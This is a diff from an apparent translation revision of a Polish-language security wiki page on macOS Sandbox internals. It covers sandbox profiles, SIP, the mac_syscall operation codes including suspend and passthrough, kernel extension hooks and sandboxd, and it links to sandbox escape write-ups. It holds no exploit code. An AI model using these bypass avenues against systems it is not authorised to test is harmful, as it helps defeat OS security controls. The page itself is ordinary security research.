Aplikacje z **App Store** używają **profilu** **`/System/Library/Sandbox/Profiles/application.sb`**. Możesz sprawdzić w tym profilu, jak uprawnienia takie jak **`com.apple.security.network.server`** pozwalają procesowi na korzystanie z sieci.
|
||||
|
||||
SIP to profil Sandbox o nazwie platform\_profile w /System/Library/Sandbox/rootless.conf
|
||||
SIP to profil Sandbox nazwany platform\_profile w /System/Library/Sandbox/rootless.conf
|
||||
|
||||
### Przykłady profili Sandbox
|
||||
|
||||
Aby uruchomić aplikację z **konkretnym profilem sandboxa**, możesz użyć:
|
||||
Aby uruchomić aplikację z **konkretnym profilem sandbox**, możesz użyć:
|
||||
```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
|
@ -221,7 +221,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
|||
Zauważ, że **oprogramowanie** **napisane przez Apple**, które działa na **Windows**, **nie ma dodatkowych środków bezpieczeństwa**, takich jak piaskownica aplikacji.
|
||||
{% endhint %}
|
||||
|
||||
Przykłady obejścia:
|
||||
Przykłady obejść:
|
||||
|
||||
* [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
* [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (są w stanie zapisywać pliki poza piaskownicą, których nazwa zaczyna się od `~$`).
|
||||
|
@ -328,7 +328,7 @@ sbtool <pid> all
|
|||
```
|
||||
### \[un]suspend
|
||||
|
||||
Możliwe jest również wstrzymanie i wznowienie piaskownicy za pomocą funkcji `sandbox_suspend` i `sandbox_unsuspend` z `libsystem_sandbox.dylib`.
|
||||
Możliwe jest również wstrzymanie i wznowienie sandboxa za pomocą funkcji `sandbox_suspend` i `sandbox_unsuspend` z `libsystem_sandbox.dylib`.
|
||||
|
||||
Należy zauważyć, że aby wywołać funkcję wstrzymania, sprawdzane są pewne uprawnienia, aby autoryzować wywołującego, takie jak:
|
||||
|
||||
|
@ -338,33 +338,33 @@ Należy zauważyć, że aby wywołać funkcję wstrzymania, sprawdzane są pewne
|
|||
|
||||
## mac\_syscall
|
||||
|
||||
To wywołanie systemowe (#381) oczekuje jednego ciągu jako pierwszego argumentu, który wskaże moduł do uruchomienia, a następnie kod w drugim argumencie, który wskaże funkcję do uruchomienia. Trzeci argument będzie zależał od wykonanej funkcji.
|
||||
To wywołanie systemowe (#381) oczekuje jednego argumentu typu string, który wskaże moduł do uruchomienia, a następnie kod w drugim argumencie, który wskaże funkcję do uruchomienia. Trzeci argument będzie zależał od wykonanej funkcji.
|
||||
|
||||
Wywołanie funkcji `___sandbox_ms` opakowuje `mac_syscall`, wskazując w pierwszym argumencie `"Sandbox"`, podobnie jak `___sandbox_msp` jest opakowaniem `mac_set_proc` (#387). Następnie niektóre z obsługiwanych kodów przez `___sandbox_ms` można znaleźć w tej tabeli:
|
||||
|
||||
* **set\_profile (#0)**: Zastosuj skompilowany lub nazwany profil do procesu.
|
||||
* **platform\_policy (#1)**: Wymuś kontrole polityki specyficzne dla platformy (różni się między macOS a iOS).
|
||||
* **check\_sandbox (#2)**: Wykonaj ręczną kontrolę konkretnej operacji piaskownicy.
|
||||
* **note (#3)**: Dodaje notację do piaskownicy.
|
||||
* **container (#4)**: Dołącz notację do piaskownicy, zazwyczaj w celach debugowania lub identyfikacji.
|
||||
* **check\_sandbox (#2)**: Wykonaj ręczną kontrolę konkretnej operacji sandboxa.
|
||||
* **note (#3)**: Dodaje notację do sandboxa.
|
||||
* **container (#4)**: Dołącz notację do sandboxa, zazwyczaj w celach debugowania lub identyfikacji.
|
||||
* **extension\_issue (#5)**: Generuje nową rozszerzenie dla procesu.
|
||||
* **extension\_consume (#6)**: Konsumuje dane rozszerzenie.
|
||||
* **extension\_release (#7)**: Zwolnij pamięć związaną z skonsumowanym rozszerzeniem.
|
||||
* **extension\_update\_file (#8)**: Modyfikuje parametry istniejącego rozszerzenia pliku w piaskownicy.
|
||||
* **extension\_update\_file (#8)**: Modyfikuje parametry istniejącego rozszerzenia pliku w sandboxie.
|
||||
* **extension\_twiddle (#9)**: Dostosowuje lub modyfikuje istniejące rozszerzenie pliku (np. TextEdit, rtf, rtfd).
|
||||
* **suspend (#10)**: Tymczasowo wstrzymaj wszystkie kontrole piaskownicy (wymaga odpowiednich uprawnień).
|
||||
* **unsuspend (#11)**: Wznów wszystkie wcześniej wstrzymane kontrole piaskownicy.
|
||||
* **passthrough\_access (#12)**: Zezwól na bezpośredni dostęp do zasobu, omijając kontrole piaskownicy.
|
||||
* **suspend (#10)**: Tymczasowo wstrzymaj wszystkie kontrole sandboxa (wymaga odpowiednich uprawnień).
|
||||
* **unsuspend (#11)**: Wznów wszystkie wcześniej wstrzymane kontrole sandboxa.
|
||||
* **passthrough\_access (#12)**: Zezwól na bezpośredni dostęp do zasobu, omijając kontrole sandboxa.
|
||||
* **set\_container\_path (#13)**: (tylko iOS) Ustaw ścieżkę kontenera dla grupy aplikacji lub identyfikatora podpisu.
|
||||
* **container\_map (#14)**: (tylko iOS) Pobierz ścieżkę kontenera z `containermanagerd`.
|
||||
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Ustaw metadane trybu użytkownika w piaskownicy.
|
||||
* **inspect (#16)**: Dostarcz informacje debugowe o procesie w piaskownicy.
|
||||
* **dump (#18)**: (macOS 11) Zrzut aktualnego profilu piaskownicy do analizy.
|
||||
* **vtrace (#19)**: Śledź operacje piaskownicy w celu monitorowania lub debugowania.
|
||||
* **sandbox\_user\_state\_item\_buffer\_send (#15)**: (iOS 10+) Ustaw metadane trybu użytkownika w sandboxie.
|
||||
* **inspect (#16)**: Dostarcz informacje debugowe o procesie w sandboxie.
|
||||
* **dump (#18)**: (macOS 11) Zrzut aktualnego profilu sandboxa do analizy.
|
||||
* **vtrace (#19)**: Śledź operacje sandboxa w celu monitorowania lub debugowania.
|
||||
* **builtin\_profile\_deactivate (#20)**: (macOS < 11) Dezaktywuj nazwane profile (np. `pe_i_can_has_debugger`).
|
||||
* **check\_bulk (#21)**: Wykonaj wiele operacji `sandbox_check` w jednym wywołaniu.
|
||||
* **reference\_retain\_by\_audit\_token (#28)**: Utwórz odniesienie dla tokena audytu do użycia w kontrolach piaskownicy.
|
||||
* **reference\_release (#29)**: Zwolnij wcześniej zachowane odniesienie tokena audytu.
|
||||
* **reference\_retain\_by\_audit\_token (#28)**: Utwórz odniesienie do tokena audytu do użycia w kontrolach sandboxa.
|
||||
* **reference\_release (#29)**: Zwolnij wcześniej zachowane odniesienie do tokena audytu.
|
||||
* **rootless\_allows\_task\_for\_pid (#30)**: Zweryfikuj, czy `task_for_pid` jest dozwolone (podobnie jak kontrole `csr`).
|
||||
* **rootless\_whitelist\_push (#31)**: (macOS) Zastosuj plik manifestu System Integrity Protection (SIP).
|
||||
* **rootless\_whitelist\_check (preflight) (#32)**: Sprawdź plik manifestu SIP przed wykonaniem.
|
||||
|
@ -375,27 +375,27 @@ Wywołanie funkcji `___sandbox_ms` opakowuje `mac_syscall`, wskazując w pierwsz
|
|||
|
||||
Należy zauważyć, że w iOS rozszerzenie jądra zawiera **wbudowane wszystkie profile** wewnątrz segmentu `__TEXT.__const`, aby uniknąć ich modyfikacji. Oto niektóre interesujące funkcje z rozszerzenia jądra:
|
||||
|
||||
* **`hook_policy_init`**: Hookuje `mpo_policy_init` i jest wywoływana po `mac_policy_register`. Wykonuje większość inicjalizacji piaskownicy. Inicjalizuje również SIP.
|
||||
* **`hook_policy_init`**: Hookuje `mpo_policy_init` i jest wywoływana po `mac_policy_register`. Wykonuje większość inicjalizacji Sandboxa. Inicjalizuje również SIP.
|
||||
* **`hook_policy_initbsd`**: Ustawia interfejs sysctl rejestrując `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` i `security.mac.sandbox.debug_mode` (jeśli uruchomione z `PE_i_can_has_debugger`).
|
||||
* **`hook_policy_syscall`**: Jest wywoływana przez `mac_syscall` z "Sandbox" jako pierwszy argument i kod wskazujący operację w drugim. Używany jest switch do znalezienia kodu do uruchomienia zgodnie z żądanym kodem.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** używa ponad stu hooków za pośrednictwem MACF. Większość hooków sprawdzi tylko niektóre trywialne przypadki, które pozwalają na wykonanie akcji, jeśli nie, wywołają **`cred_sb_evalutate`** z **poświadczeniami** z MACF i numerem odpowiadającym **operacji** do wykonania oraz **buforem** dla wyjścia.
|
||||
**`Sandbox.kext`** używa ponad stu hooków za pośrednictwem MACF. Większość hooków po prostu sprawdzi niektóre trywialne przypadki, które pozwalają na wykonanie akcji, jeśli nie, wywołają **`cred_sb_evalutate`** z **poświadczeniami** z MACF i numerem odpowiadającym **operacji** do wykonania oraz **buforem** dla wyjścia.
|
||||
|
||||
Dobrym przykładem jest funkcja **`_mpo_file_check_mmap`**, która hookuje **`mmap`** i która zacznie sprawdzać, czy nowa pamięć będzie zapisywalna (a jeśli nie, pozwoli na wykonanie), następnie sprawdzi, czy jest używana dla pamięci podręcznej dyld i jeśli tak, pozwoli na wykonanie, a na koniec wywoła **`cred_sb_evalutate`**, aby przeprowadzić dalsze kontrole zezwolenia.
|
||||
Dobrym przykładem jest funkcja **`_mpo_file_check_mmap`**, która hookuje **`mmap`** i która zacznie sprawdzać, czy nowa pamięć będzie zapisywalna (a jeśli nie, pozwoli na wykonanie), następnie sprawdzi, czy jest używana dla pamięci podręcznej dyld i jeśli tak, pozwoli na wykonanie, a na koniec wywoła **`sb_evaluate_internal`** (lub jeden z jego wrapperów), aby przeprowadzić dalsze kontrole zezwolenia.
|
||||
|
||||
Ponadto, spośród setek hooków, które używa Sandbox, są 3, które są szczególnie interesujące:
|
||||
Ponadto, spośród setek hooków używanych przez Sandbox, są 3, które są szczególnie interesujące:
|
||||
|
||||
* `mpo_proc_check_for`: Zastosowuje profil, jeśli to konieczne i jeśli nie był wcześniej zastosowany.
|
||||
* `mpo_vnode_check_exec`: Wywoływana, gdy proces ładuje powiązany plik binarny, następnie przeprowadzana jest kontrola profilu oraz kontrola zabraniająca wykonywania SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Jest wywoływana, gdy etykieta jest przypisywana. Jest to najdłuższa, ponieważ jest wywoływana, gdy plik binarny jest w pełni załadowany, ale jeszcze nie został wykonany. Wykona takie działania jak tworzenie obiektu piaskownicy, dołączenie struktury piaskownicy do poświadczeń kauth, usunięcie dostępu do portów mach...
|
||||
* `mpo_vnode_check_exec`: Wywoływana, gdy proces ładuje powiązany binarny plik, następnie przeprowadzana jest kontrola profilu oraz kontrola zabraniająca wykonywania SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Jest wywoływana, gdy etykieta jest przypisywana. Jest to najdłuższa, ponieważ jest wywoływana, gdy binarny plik jest w pełni załadowany, ale jeszcze nie został wykonany. Wykona działania takie jak tworzenie obiektu sandboxa, dołączenie struktury sandbox do poświadczeń kauth, usunięcie dostępu do portów mach...
|
||||
|
||||
Należy zauważyć, że **`cred_sb_evalutate`** jest opakowaniem nad **`sb_evaluate`** i ta funkcja pobiera przekazane poświadczenia, a następnie przeprowadza ocenę za pomocą funkcji **`eval`**, która zazwyczaj ocenia **profil platformy**, który domyślnie jest stosowany do wszystkich procesów, a następnie **specyficzny profil procesu**. Należy zauważyć, że profil platformy jest jednym z głównych komponentów **SIP** w macOS.
|
||||
Należy zauważyć, że **`_cred_sb_evalutate`** jest wrapperem nad **`sb_evaluate_internal`** i ta funkcja pobiera przekazane poświadczenia, a następnie przeprowadza ocenę za pomocą funkcji **`eval`**, która zazwyczaj ocenia **profil platformy**, który domyślnie jest stosowany do wszystkich procesów, a następnie **specyficzny profil procesu**. Należy zauważyć, że profil platformy jest jednym z głównych komponentów **SIP** w macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
Piaskownica ma również działającego demona użytkownika, który udostępnia usługę XPC Mach `com.apple.sandboxd` i wiąże specjalny port 14 (`HOST_SEATBELT_PORT`), z którego korzysta rozszerzenie jądra do komunikacji z nim. Udostępnia niektóre funkcje za pomocą MIG.
|
||||
Sandbox ma również działającego demona użytkownika, który udostępnia usługę XPC Mach `com.apple.sandboxd` i wiąże specjalny port 14 (`HOST_SEATBELT_PORT`), którego rozszerzenie jądra używa do komunikacji z nim. Udostępnia niektóre funkcje za pomocą MIG.
|
||||
|
||||
## References
|
||||
|
||||
|
|
Loading…
Reference in a new issue